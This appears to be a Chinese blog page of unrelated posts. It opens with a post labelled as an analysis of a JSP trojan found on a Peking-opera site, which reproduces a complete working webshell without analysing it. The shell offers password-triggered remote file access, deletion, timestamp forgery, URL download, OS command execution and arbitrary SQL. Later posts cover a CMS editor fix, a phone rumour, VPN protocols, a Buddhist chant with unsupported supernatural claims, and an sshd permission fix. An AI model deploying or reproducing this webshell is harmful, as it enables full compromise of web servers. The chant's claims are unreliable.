京剧网中毒,jsp文件木马代码分析

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
String Pwd="chopper";
String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();
Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}
else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}
void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
for(int k=0; k<x.length; k++){if(!x[k].delete()){ EE(x[k].getPath());}}} f.delete();}
void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}
void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
{os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}
}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
while((l=br.readLine())!=null){sb.append(l+"\r\n");}}
void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}
void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);
while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}
void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);
Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();
for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+"\t|\t");
}sb.append("\r\n");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();}
catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");
}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
%><%
String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");
if(Z.equals("A")){String s=new File( application.getRealPath( request.getRequestURI())).getParent();sb.append(s+"\t");if( !s.substring(0,1).equals("/")){ AA(sb);}}
else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}
else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}
else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}
else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}
else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}
}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());
%>

帝国cms编辑器不显示的常见解决方法

很多朋友向我反应帝国cms自带文本编辑器是fckeditor,用起来效果不太理想,有时候直接不显示 也不能点击。甚至是直接显示源代码 不能可视化编辑。下面我就给您分享下以及解决的方案

第一、很多都是浏览器的问题。这种情况一般出现在360IE 浏览器的情况下 一般 显示不出来 或者是显示的编辑器的地方就 是一块空的地方。

解决方案:更换下浏览器 或者浏览器模式即可

第二、很简单了 就是网速的问题 导致帝国cms 编辑器的js等文件加载不出来

解决方案:F5 多刷新几下 (这种情况出现的比较少)

第三、无论是换浏览器了 还是多刷新了几下 还是显示黑色的 不能点击

解决方案1 编辑器文件可能有文件损坏 或者FTP上传的时候有中断 找到对应的帝国cms的版本 e\admin\ecmseditor

把ecmseditor  文件夹里面的直接替换便可以解决

解决方案2:就是系统模型的问题 有些模型设置了编辑器的模式(这个出现的几率基本为O)

解决方案3:本地浏览器JS禁用 如果你的网站后台能登陆 一些JS可以运行 就不会是这个问题

第四:个人建议 可以整合 下百度编辑器 具体以后会出教程!

小米MIX2真机就这样?

在发布会的消息公布之后,关于小米MIX2的传闻瞬间刷爆了微博。同时,也有不少所谓的“爆料大神”开始放出“独家”谍照。

@数字尾巴官方微博放出了一张号称是独家的小米MIX2谍照,从图片来看其外形设计相当惊艳,取消了下巴设计,前置摄像头被转移到了顶部,屏占比几乎超过95%。

如果小米MIX2真的是这样,毫无疑问它会成为目前最惊艳的全面屏手机,没有之一。但遗憾的是,小米手机产品市场总监@臧智渊随后就在微博上进行辟谣。

@臧智渊言简意赅的是给出了两个字“假的”,直接否认了这是小米MIX2的可能性。

虽然我们非常期待小米MIX2能更加惊艳,但不得不承认图片上的设计实现起来难度非常高,在目前的工艺条件下几乎没有量产的可能性,因此小米应该不会冒险采用这样的设计。

至于小米MIX2到底长什么样?我们不妨参考一下小米MIX,将屏幕尺寸缩小到18:9的6英寸,同时更换更加圆润的金属边框,或许就成了小米MIX2。

坐等发布会揭晓答案。

VPN三种协议PPTP、L2TP、OpenVPN对比分析

VPN是企业通信的常用技术,可以对网络加密,使得其安全性能提升。常用的VPN协议有PPTP、L2TP、OpenVPN,那这三种VPN有什么优势呢?

一、PPTP、L2TP、OpenVPN三种隧道协议的概念

1、PPTP(Point to Point Tunneling Protocol,点对点隧道协议)默认端口号:1723

PPTP,即PPTF协议。该协议是在PPP协议的基础上开发的一种新的增强型安全协议,支持多协议虚拟专用网(VPN),可以通过密码身份验证协议(PAP)、可扩展身份验证协议(EAP)等方法增强安全性。可以使远程用户通过拨入ISP、通过直接连接Internet或其他网络安全地访问企业网。

点对点隧道协议(PPTP)是一种支持多协议虚拟专用网络的网络技术,它工作在第二层。通过该协议,远程用户能够通过 Microsoft Windows NT工作站、Windows xp 、Windows 2000 和windows2003、windows7操作系统以及其它装有点对点协议的系统安全访问公司网络,并能拨号连入本地ISP,通过Internet 安全链接到公司网络。

PPTP协议是点对点隧道协议,其将控制包与数据包分开,控制包采用TCP控制。PPTP使用TCP协议,适合在没有防火墙限制的网络中使用。

2、L2TP(Layer 2 Tunneling Protocol,第二层隧道协议)

L2TP是一种工业标准的Internet隧道协议,功能大致和PPTP协议类似,比如同样可以对网络数据流进行加密。不过也有不同之处,比如PPTP要求网络为IP网络,L2TP要求面向数据包的点对点连接;PPTP使用单一隧道,L2TP使用多隧道;L2TP提供包头压缩、隧道验证,而PPTP不支持。

L2TP是一个数据链路层协议,基于UDP。其报文分为数据消息和控制消息两类。数据消息用投递 PPP 帧,该帧作为L2TP报文的数据区。L2TP不保证数据消息的可靠投递,若数据报文丢失,不予重传,不支持对数据消息的流量控制和拥塞控制。控制消息用以建立、维护和终止控制连接及会话,L2TP确保其可靠投递,并支持对控制消息的流量控制和拥塞控制。

L2TP是国际标准隧道协议,它结合了PPTP协议以及第二层转发L2F协议的优点,能以隧道方式使PPP包通过各种网络协议,包括ATM、SONET和帧中继。但是L2TP没有任何加密措施,更多是和IPSec协议结合使用,提供隧道验证。

L2TP使用UDP协议,一般可以穿透防火墙,适合在有防火墙限制、局域网用户,如公司、网吧、学校等场合使用。

PPTP和L2TP二个连接类型在性能上差别不大,如果使用PPTP不正常,那就更换为L2TP。

3、OpenVPN

OpenVpn的技术核心是虚拟网卡,其次是SSL协议实现。

虚拟网卡是使用网络底层编程技术实现的一个驱动软件,安装后在主机上多出现一个网卡,可以像其它网卡一样进行配置。服务程序可以在应用层打开虚拟网卡,如果应用软件(如IE)向虚拟网卡发送数据,则服务程序可以读取到该数据,如果服务程序写合适的数据到虚拟网卡,应用软件也可以接收得到。虚拟网卡在很多的操作系统下都有相应的实现,这也是OpenVpn能够跨平台一个很重要的理由。

OpenVPN使用OpenSSL库加密数据与控制信息:它使用了OpenSSL的加密以及验证功能,意味着,它能够使用任何OpenSSL支持的算法。它提供了可选的数据包HMAC功能以提高连接的安全性。此外,OpenSSL的硬件加速也能提高它的性能。

OpenVPN所有的通信都基于一个单一的IP端口,默认且推荐使用UDP协议通讯,同时TCP也被支持。

在选择协议时候,需要注意2个加密隧道之间的网络状况,如有高延迟或者丢包较多的情况下,请选择TCP协议作为底层协议,UDP协议由于存在无连接和重传机制,导致要隧道上层的协议进行重传,效率非常低下。

OpenVPN是一个基于SSL加密的纯应用层VPN协议,是SSL VPN的一种,支持UDP与TCP两种方式(说明:UDP和TCP是2种通讯协议,这里通常UDP的效率会比较高,速度也相对较快。所以尽量使用UDP连接方式,实在UDP没法使用的时候,再使用TCP连接方式)。

由于其运行在纯应用层,避免了PPTP和L2TP在某些NAT设备后面不被支持的情况,并且可以绕过一些网络的封锁(通俗点讲,基本上能上网的地方就能用OpenVPN)。

OpenVPN客户端软件可以很方便地配合路由表,实现不同线路(如国内和国外)的路由选择,实现一部分IP走VPN,另一部分IP走原网络。

二、PPTP、L2TP、OpenVPN三种隧道协议的优缺点对比

易用性: PPTP > L2TP > OpenVPN

速度: PPTP > OpenVPN UDP > L2TP > OpenVPN TCP

安全性: OpenVPN > L2TP > PPTP

稳定性: OpenVPN > L2TP > PPTP

网络适用性:OpenVPN > PPTP > L2TP

三、VPN协议的选择

电脑上优先使用PPTP,无法使用可以尝试L2TP,对安全性要求高的优先使用OpenVPN。手持设备推荐使用L2TP。

PPTP: 最常用,设置最简单,大多数设备都支持;

L2TP: 支持PPTP的设备基本都支持此种方式,设置略复杂,需要选择L2TP/IPSec PSK方式,且设置预共享密钥PSK;

OpenVPN:最稳定,适用于各种网络环境,但需要安装第三方软件和配置文件,较复杂。

但如今有了更加优秀的选择 IKEv2,更加轻便、快速,也是windows phone中唯一支持的VPN协议(好像最近支持了L2TP)

十年

刚看了下当年建立的母校的论坛(http://www.hbsi.net),十年没变样了,也没人什么人了,留着吧,当年火爆的样子依稀可辨,只是新人已经看不到了,都留在回忆中。

有了解奇力生的吗?

有服用过奇力生的朋友,想了解奇力生的可以加我微博,交流下信息,我也是个奇力生的用户,对他的效果不是很了解,网上能查的信息都查了,生命信息技术,张令玉等,技术也研究过,跟医学不同,像是物理学知识,所以无法判断了。。只能寻求网络上的帮助。

Posted in

忏悔三昧—脑场作业

简短的忏悔三昧——把透支的福报找回来的方法——瞬间具足无量劫善根福德
忏悔三昧,每天念三遍,不要小看
----------------
无论是过去,现在,或是未来。因身,口,意的造作,被我伤害过的(因缘)众生。
或因身,口,意的造作,所招感的诸多不顺和苦难
不管是身体上的,还是精神上的。我都愿意接受(业果法则)。并惭愧的忏悔
因为无明,因未闻四种真谛,无量劫来,我们彼此伤害,冤冤相报,枉受诸苦于六道中,无有出期。我们都希望解脱。
愿一切被我伤害过的众生,无精神的痛苦,无身体的痛苦,愿你们保持快乐。
愿一切与我有因缘的鬼道,非人众生,得闻佛法,投生善道,趋向解脱。
愿一切与我有因缘的人或非人众生,分享我善业的功德,并回答;善哉!善哉!善哉!
愿一切众生分享我的功德。
———————————————————————————
注:此忏悔方法不可思议,可把透支的福报补回来,内心趋向平静安乐,并很快积累善因。
真正修“忏悔三昧”,身后天魔都控制不住你们。天魔怎么样才能控制住众生?因为众生欠他的,他才可以控制,修“忏悔三昧”就等于不欠他们的了,所以天魔不能再控制。
大家要认真修《忏悔三昧》,不需要灌顶,只要是照着去念就行了,自然而然会得到好处。

/var/empty/sshd must be owned by root and not group or world-writable.

在机器上直接登录,问题显示如下:

/var/empty/sshd must be owned by root and not group or world-writable.

问题:

Linux上的SSH无法启动

报告/var/empty/sshd must be owned by root and not group or world-writable.

解决办法:

首先通过物理终端进入到linux上,手工检查ssh发现没运行

-bash-2.05b# /etc/init.d/sshd status

sshd is stopped

手工启动服务,发现报告权限错误。

-bash-2.05b# /etc/init.d/sshd start

Starting sshd:/var/empty/sshd must be owned by root and not group or world-writable.

[FAILED]

-bash-2.05b#

使用rpm -V 命令可检查到ssh的软件包正常,但某个目录的属主错误。

-bash-2.05b# rpm -V openssh-server

S.5….. c /etc/ssh/sshd_config

…..U.. /var/empty/sshd

-bash-2.05b#

经查看发现这个目录的属主不是root,所以启动ssh报错

-bash-2.05b# ls -ld /var/empty/sshd/

d–x–x–x 2 vu00106 root 1024 Feb 2 2005 /var/empty/sshd/

-bash-2.05b#

修改为root属主,启动成功

-bash-2.05b# chown root /var/empty/sshd/

-bash-2.05b# /etc/init.d/sshd start

Starting sshd: [ OK ]

-bash-2.05b#

至此问题修复。

另外,还可以尝试:

这个是权限的问题

可采取以下两步解决

chown -R root.root /var/empty/sshd

chmod 744 /var/empty/sshd

service sshd restart

就可以解决上述的问题。